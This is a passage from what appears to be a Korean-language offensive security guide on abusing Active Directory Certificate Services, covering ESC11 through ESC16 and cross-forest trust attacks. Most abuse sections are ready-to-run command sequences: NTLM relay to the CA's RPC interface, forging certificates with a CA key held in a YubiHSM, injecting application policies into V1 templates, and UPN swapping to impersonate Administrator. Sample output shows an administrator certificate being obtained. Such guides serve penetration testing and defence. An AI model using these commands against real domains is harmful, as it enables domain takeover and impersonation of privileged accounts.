certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

이 취약점은 userPrincipalName이 없거나 sAMAccountName과 일치하지 않는 모든 사용자 계정에도 적용됩니다. 기본적으로 Administrator@corp.local은 LDAP 권한이 높고 기본적으로 userPrincipalName이 없기 때문에 주요 타겟이 됩니다.

NTLM을 ICPR로 릴레이하기 - ESC11

설명

CA 서버가 IF_ENFORCEENCRYPTICERTREQUEST로 구성되지 않은 경우, RPC 서비스를 통해 서명 없이 NTLM 릴레이 공격을 수행할 수 있습니다. 여기에서 참조합니다.

certipy를 사용하여 Enforce Encryption for Requests가 비활성화되어 있는지 열거할 수 있으며, certipy는 ESC11 취약점을 표시합니다.

$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)

Certificate Authorities
0
CA Name                             : DC01-CA
DNS Name                            : DC01.domain.local
Certificate Subject                 : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests     : Disabled
....
[!] Vulnerabilities
ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

Abuse Scenario

릴레이 서버를 설정해야 합니다:

$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

참고: 도메인 컨트롤러의 경우, DomainController에서 -template을 지정해야 합니다.

또는 sploutchy의 impacket 포크를 사용할 수 있습니다:

$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support

Shell access to ADCS CA with YubiHSM - ESC12

Explanation

관리자는 인증 기관을 "Yubico YubiHSM2"와 같은 외부 장치에 저장하도록 설정할 수 있습니다.

USB 장치가 CA 서버에 USB 포트를 통해 연결되거나 CA 서버가 가상 머신인 경우 USB 장치 서버에 연결된 경우, YubiHSM에서 키를 생성하고 활용하기 위해 Key Storage Provider에 대한 인증 키(때때로 "비밀번호"라고도 함)가 필요합니다.

이 키/비밀번호는 레지스트리의 HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword에 평문으로 저장됩니다.

Reference in here.

Abuse Scenario

CA의 개인 키가 물리적 USB 장치에 저장되어 있을 때 쉘 접근을 얻으면 키를 복구할 수 있습니다.

먼저 CA 인증서를 얻어야 합니다(이는 공개적입니다) 그리고:

# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>

# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>

마지막으로, certutil -sign 명령을 사용하여 CA 인증서와 해당 개인 키를 사용하여 새로운 임의의 인증서를 위조합니다.

OID 그룹 링크 남용 - ESC13

설명

msPKI-Certificate-Policy 속성은 발급 정책을 인증서 템플릿에 추가할 수 있게 합니다. 정책을 발급하는 책임이 있는 msPKI-Enterprise-Oid 객체는 PKI OID 컨테이너의 구성 명명 컨텍스트(CN=OID,CN=Public Key Services,CN=Services)에서 발견할 수 있습니다. 정책은 이 객체의 msDS-OIDToGroupLink 속성을 사용하여 AD 그룹에 연결될 수 있으며, 이를 통해 시스템은 인증서를 제시하는 사용자가 그룹의 구성원인 것처럼 권한을 부여할 수 있습니다. 여기 참조.

다시 말해, 사용자가 인증서를 등록할 수 있는 권한이 있고 인증서가 OID 그룹에 연결되어 있을 때, 사용자는 이 그룹의 권한을 상속받을 수 있습니다.

Check-ADCSESC13.ps1를 사용하여 OIDToGroupLink를 찾습니다:

Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local

OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local

Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------

Abuse Scenario

사용자가 certipy find 또는 Certify.exe find /showAllPermissions를 사용할 수 있는 권한을 찾습니다.

John이 VulnerableTemplate에 대한 등록 권한을 가지고 있다면, 사용자는 VulnerableGroup 그룹의 권한을 상속받을 수 있습니다.

단지 템플릿을 지정하기만 하면 OIDToGroupLink 권한이 있는 인증서를 받을 수 있습니다.

certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'

취약한 인증서 갱신 구성 - ESC14

설명

https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping 에 있는 설명은 매우 철저합니다. 아래는 원본 텍스트의 인용입니다.

ESC14는 "약한 명시적 인증서 매핑"에서 발생하는 취약점을 다루며, 주로 Active Directory 사용자 또는 컴퓨터 계정의 altSecurityIdentities 속성의 오용 또는 안전하지 않은 구성으로 인해 발생합니다. 이 다중 값 속성은 관리자가 인증 목적으로 AD 계정과 X.509 인증서를 수동으로 연결할 수 있도록 합니다. 채워지면, 이러한 명시적 매핑은 일반적으로 인증서의 SAN에 있는 UPN 또는 DNS 이름, 또는 szOID_NTDS_CA_SECURITY_EXT 보안 확장에 내장된 SID에 의존하는 기본 인증서 매핑 논리를 무시할 수 있습니다.

"약한" 매핑은 altSecurityIdentities 속성 내에서 인증서를 식별하는 데 사용되는 문자열 값이 너무 광범위하거나 쉽게 추측 가능하며, 고유하지 않은 인증서 필드에 의존하거나 쉽게 스푸핑할 수 있는 인증서 구성 요소를 사용할 때 발생합니다. 공격자가 특권 계정에 대한 이러한 약하게 정의된 명시적 매핑과 일치하는 속성을 가진 인증서를 얻거나 제작할 수 있다면, 그 인증서를 사용하여 해당 계정으로 인증하고 가장할 수 있습니다.

잠재적으로 약한 altSecurityIdentities 매핑 문자열의 예는 다음과 같습니다:

• 일반적인 주체 공통 이름(CN)으로만 매핑: 예: X509:<S>CN=SomeUser. 공격자는 덜 안전한 출처에서 이 CN을 가진 인증서를 얻을 수 있습니다.
• 특정 일련 번호나 주체 키 식별자와 같은 추가 자격 없이 지나치게 일반적인 발급자 구별 이름(DN) 또는 주체 DN을 사용하는 경우: 예: X509:<I>CN=SomeInternalCA<S>CN=GenericUser.
• 공격자가 합법적으로 얻거나 위조할 수 있는 인증서에서 만족할 수 있는 다른 예측 가능한 패턴이나 비암호화 식별자를 사용하는 경우(예: ESC1에서 취약한 템플릿을 찾거나 CA를 손상시킨 경우).

altSecurityIdentities 속성은 매핑을 위한 다양한 형식을 지원합니다:

• X509:<I>IssuerDN<S>SubjectDN (전체 발급자 및 주체 DN으로 매핑)
• X509:<SKI>SubjectKeyIdentifier (인증서의 주체 키 식별자 확장 값으로 매핑)
• X509:<SR>SerialNumberBackedByIssuerDN (일련 번호로 매핑, 암묵적으로 발급자 DN으로 자격 부여됨) - 이는 표준 형식이 아니며, 일반적으로 <I>IssuerDN<SR>SerialNumber입니다.
• X509:<RFC822>EmailAddress (SAN에서 RFC822 이름, 일반적으로 이메일 주소로 매핑)
• X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey (인증서의 원시 공개 키의 SHA1 해시로 매핑 - 일반적으로 강력함)

이러한 매핑의 보안은 매핑 문자열에 사용된 선택된 인증서 식별자의 구체성, 고유성 및 암호화 강도에 크게 의존합니다. 도메인 컨트롤러에서 강력한 인증서 바인딩 모드가 활성화되어 있더라도(주로 SAN UPN/DNS 및 SID 확장을 기반으로 한 암묵적 매핑에 영향을 미침), 잘못 구성된 altSecurityIdentities 항목은 매핑 논리가 결함이 있거나 너무 관대할 경우 여전히 가장을 위한 직접적인 경로를 제공할 수 있습니다.

남용 시나리오

ESC14는 Active Directory(AD)의 명시적 인증서 매핑을 목표로 하며, 특히 altSecurityIdentities 속성을 다룹니다. 이 속성이 설정되어 있으면(설계 또는 잘못된 구성으로 인해), 공격자는 매핑과 일치하는 인증서를 제시하여 계정을 가장할 수 있습니다.

시나리오 A: 공격자가 altSecurityIdentities에 쓸 수 있음

전제 조건: 공격자는 대상 계정의 altSecurityIdentities 속성에 대한 쓰기 권한이 있거나 다음 권한 중 하나의 형태로 이를 부여할 수 있는 권한이 있습니다:

• 속성 altSecurityIdentities 쓰기
• 속성 Public-Information 쓰기
• 속성(모두) 쓰기
• WriteDACL
• WriteOwner*
• GenericWrite
• GenericAll
• 소유자*.

시나리오 B: 대상이 X509RFC822(이메일)를 통한 약한 매핑을 가짐

• 전제 조건: 대상은 altSecurityIdentities에 약한 X509RFC822 매핑을 가지고 있습니다. 공격자는 피해자의 메일 속성을 대상의 X509RFC822 이름과 일치하도록 설정하고, 피해자로서 인증서를 등록한 후 이를 사용하여 대상 계정으로 인증할 수 있습니다.

시나리오 C: 대상이 X509IssuerSubject 매핑을 가짐

• 전제 조건: 대상은 altSecurityIdentities에 약한 X509IssuerSubject 명시적 매핑을 가지고 있습니다. 공격자는 피해자 주체의 cn 또는 dNSHostName 속성을 대상의 X509IssuerSubject 매핑의 주체와 일치하도록 설정할 수 있습니다. 그런 다음, 공격자는 피해자로서 인증서를 등록하고 이 인증서를 사용하여 대상 계정으로 인증할 수 있습니다.

시나리오 D: 대상이 X509SubjectOnly 매핑을 가짐

• 전제 조건: 대상은 altSecurityIdentities에 약한 X509SubjectOnly 명시적 매핑을 가지고 있습니다. 공격자는 피해자 주체의 cn 또는 dNSHostName 속성을 대상의 X509SubjectOnly 매핑의 주체와 일치하도록 설정할 수 있습니다. 그런 다음, 공격자는 피해자로서 인증서를 등록하고 이 인증서를 사용하여 대상 계정으로 인증할 수 있습니다.

구체적인 작업

시나리오 A

인증서 템플릿 Machine의 인증서를 요청합니다.

.\Certify.exe request /ca:<ca> /template:Machine /machine

인증서를 저장하고 변환합니다.

certutil -MergePFX .\esc13.pem .\esc13.pfx

인증 (인증서를 사용하여)

.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap

정리 (선택 사항)

Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"

더 구체적인 공격 방법은 다양한 공격 시나리오에서 다음을 참조하십시오: adcs-esc14-abuse-technique.

EKUwu 애플리케이션 정책(CVE-2024-49019) - ESC15

설명

https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc의 설명은 매우 철저합니다. 아래는 원본 텍스트의 인용입니다.

기본 제공되는 버전 1 인증서 템플릿을 사용하여 공격자는 템플릿에 지정된 구성된 확장 키 사용 속성보다 선호되는 애플리케이션 정책을 포함하는 CSR을 작성할 수 있습니다. 유일한 요구 사항은 등록 권한이며, 이를 사용하여 WebServer 템플릿을 사용하여 클라이언트 인증, 인증서 요청 에이전트 및 코드 서명 인증서를 생성할 수 있습니다.

남용

다음은 이 링크를 참조합니다. 더 자세한 사용 방법을 보려면 클릭하십시오.

Certipy의 find 명령은 CA가 패치되지 않은 경우 ESC15에 잠재적으로 취약한 V1 템플릿을 식별하는 데 도움이 될 수 있습니다.

certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100

Scenario A: Direct Impersonation via Schannel

Step 1: 인증서를 요청하고 "클라이언트 인증" 애플리케이션 정책과 대상 UPN을 주입합니다. 공격자 attacker@corp.local는 "WebServer" V1 템플릿을 사용하여 administrator@corp.local을 목표로 합니다 (이 템플릿은 등록자가 제공한 주제를 허용합니다).

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
-application-policies 'Client Authentication'

• -template 'WebServer': "Enrollee supplies subject"가 있는 취약한 V1 템플릿입니다.
• -application-policies 'Client Authentication': CSR의 Application Policies 확장에 OID 1.3.6.1.5.5.7.3.2를 주입합니다.
• -upn 'administrator@corp.local': 임포스네이션을 위해 SAN에 UPN을 설정합니다.

Step 2: 획득한 인증서를 사용하여 Schannel (LDAPS)를 통해 인증합니다.

certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell

Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse

Step 1: V1 템플릿에서 인증서 요청하기 ("Enrollee supplies subject" 포함), "Certificate Request Agent" 애플리케이션 정책 주입. 이 인증서는 공격자(attacker@corp.local)가 등록 에이전트가 되기 위한 것입니다. 여기서 공격자의 고유 사용자 이름(UPN)은 지정되지 않으며, 목표는 에이전트 기능입니다.

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-application-policies 'Certificate Request Agent'

• -application-policies 'Certificate Request Agent': OID 1.3.6.1.4.1.311.20.2.1를 주입합니다.

2단계: "agent" 인증서를 사용하여 대상 권한이 있는 사용자 대신 인증서를 요청합니다. 이는 1단계의 인증서를 에이전트 인증서로 사용하는 ESC3와 유사한 단계입니다.

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'

3단계: "on-behalf-of" 인증서를 사용하여 특권 사용자로 인증합니다.

certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'

Security Extension Disabled on CA (Globally)-ESC16

Explanation

**ESC16 (권한 상승 via 누락된 szOID_NTDS_CA_SECURITY_EXT 확장)**는 AD CS의 구성에서 모든 인증서에 szOID_NTDS_CA_SECURITY_EXT 확장을 포함하도록 강제하지 않을 경우, 공격자가 이를 악용할 수 있는 시나리오를 나타냅니다:

1. SID 바인딩 없이 인증서를 요청합니다.

2. 이 인증서를 사용하여 모든 계정으로 인증합니다. 예를 들어, 높은 권한의 계정(예: 도메인 관리자)으로 가장할 수 있습니다.

자세한 원리를 배우려면 이 기사를 참조할 수 있습니다: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6

Abuse

다음은 이 링크를 참조합니다. 더 자세한 사용 방법을 보려면 클릭하세요.

Active Directory Certificate Services (AD CS) 환경이 ESC16에 취약한지 식별하기 위해

certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable

1단계: 피해자 계정의 초기 UPN 읽기 (선택 사항 - 복원을 위해).

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -user 'victim' \
read

2단계: 피해자 계정의 UPN을 대상 관리자의 sAMAccountName으로 업데이트합니다.

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'administrator' \
-user 'victim' update

3단계: (필요한 경우) "희생자" 계정의 자격 증명 얻기 (예: Shadow Credentials를 통해).

certipy shadow \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -account 'victim' \
auto

4단계: ESC16 취약한 CA에서 적절한 클라이언트 인증 템플릿 (예: "User")을 사용하여 "희생자" 사용자로 인증서를 요청합니다. CA가 ESC16에 취약하기 때문에, 템플릿의 특정 설정과 관계없이 발급된 인증서에서 SID 보안 확장을 자동으로 생략합니다. Kerberos 자격 증명 캐시 환경 변수를 설정합니다 (셸 명령):

export KRB5CCNAME=victim.ccache

그런 다음 인증서를 요청하십시오:

certipy req \
-k -dc-ip '10.0.0.100' \
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
-template 'User'

5단계: "희생자" 계정의 UPN을 되돌립니다.

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
-user 'victim' update

6단계: 대상 관리자로 인증합니다.

certipy auth \
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'corp.local'

인증서로 숲을 타락시키는 방법 설명 (수동태)

손상된 CA에 의한 숲 신뢰의 파괴

교차 숲 등록을 위한 구성은 상대적으로 간단하게 이루어집니다. 리소스 숲의 루트 CA 인증서는 관리자가 계정 숲에 게시하고, 리소스 숲의 엔터프라이즈 CA 인증서는 각 계정 숲의 NTAuthCertificates 및 AIA 컨테이너에 추가됩니다. 이 arrangement는 리소스 숲의 CA가 PKI를 관리하는 모든 다른 숲에 대한 완전한 제어권을 부여합니다. 만약 이 CA가 공격자에 의해 손상된다면, 리소스 및 계정 숲의 모든 사용자에 대한 인증서가 그들에 의해 위조될 수 있으며, 이는 숲의 보안 경계를 깨뜨리게 됩니다.

외부 주체에게 부여된 등록 권한

다중 숲 환경에서는 인증된 사용자 또는 외부 주체(엔터프라이즈 CA가 속한 숲 외부의 사용자/그룹)의 등록 및 편집 권한을 허용하는 인증서 템플릿을 게시하는 엔터프라이즈 CA에 대해 주의가 필요합니다.
신뢰를 통해 인증이 이루어지면, 인증된 사용자 SID가 AD에 의해 사용자의 토큰에 추가됩니다. 따라서, 도메인에 인증된 사용자 등록 권한을 허용하는 템플릿이 있는 엔터프라이즈 CA가 있다면, 다른 숲의 사용자가 템플릿에 등록될 수 있는 가능성이 있습니다. 마찬가지로, 템플릿에 의해 외부 주체에게 명시적으로 등록 권한이 부여된다면, 교차 숲 접근 제어 관계가 생성되어, 한 숲의 주체가 다른 숲의 템플릿에 등록할 수 있게 됩니다.

두 시나리오는 한 숲에서 다른 숲으로의 공격 표면 증가로 이어집니다. 인증서 템플릿의 설정은 공격자가 외부 도메인에서 추가 권한을 얻기 위해 악용될 수 있습니다.